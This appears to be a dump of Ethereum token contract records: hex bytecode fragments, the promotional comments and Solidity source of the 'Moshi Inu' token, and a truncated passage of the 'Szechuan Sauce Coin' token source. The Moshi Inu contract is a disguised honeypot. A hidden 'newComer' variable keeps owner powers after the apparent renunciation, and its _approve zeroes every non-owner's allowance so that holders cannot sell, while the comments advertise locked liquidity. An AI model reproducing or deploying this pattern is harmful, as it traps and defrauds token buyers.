fffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a633b9aca000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f54414f4c0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a72305820a71f9968870b7032b14871a46e79ad9f8751a0b1c086376b46336bc5e1c920bb0029
|
{"success": true, "error": null, "results": {}}
| 2,443 |
0x5256e5a637a0bb99a2b9be932d570d34c578fd09
|
/**
*Submitted for verification at Etherscan.io on 2021-11-25
*/
/**
$MOSHI is a MEME token on Ethereum blokchain. $MOSHI is ETH version of ShiCo (ShibaCorgiDog) which operates on Binance Smart Chain and did 100x.
$MOSHI is one of the biggest elevated meme projects in Defi space
$MOSHI is an experimental protocol built on Ethereum ERC-20.
Never invest money that you can't afford to lose
✅Tokenomics
🔸 Name: Moshi Inu
🔸 Symbol: $MOSHI
🔸 Decimal: 9
🔸 Supply: 1,000,000,000,000
🔸 Tax: 10%
🔸 Liquidity: 100%
🔸 LP Lock: 100%
🐦 Twitter: https://twitter.com/MoshiInuETH
🔷 Telegram: https://t.me/MoshiinuERC20
🌎 Website: https://Moshiinu.com
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract MoshiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Moshi Inu';
string private _symbol = 'MOSHI';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200c912639db60004ad6b57435d086ce26f8875c54379a99093619a29285fada7864736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,444 |
0xfb9880caa5faa9fa843fe1563f1402a547bc4bd5
|
/**
*Submitted for verification at Etherscan.io on 2022-03-21
*/
/**
Szechuan Sauce Coin $SZECHUAN
Our mission is to help feed kids around the world by making donations to Feed The Children.
When you make a transaction on our coin, you are also making a donation to a top charity, FeedTheChildren.org
https://t.me/szechuansaucecoin
https://t.me/szechuansaucecoin
https://t.me/szechuansaucecoin
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SzechuanSauceCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Szechuan Sauce Coin";
string private constant _symbol = "SZECHUAN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xe19FB431B2C51516B3df22D9e2501376F9Bb3431);
address payable private _marketingAddress = payable(0xaf3D2330c37DADa492C38D1e3786A9FAf2bAC5Ea);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 30000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
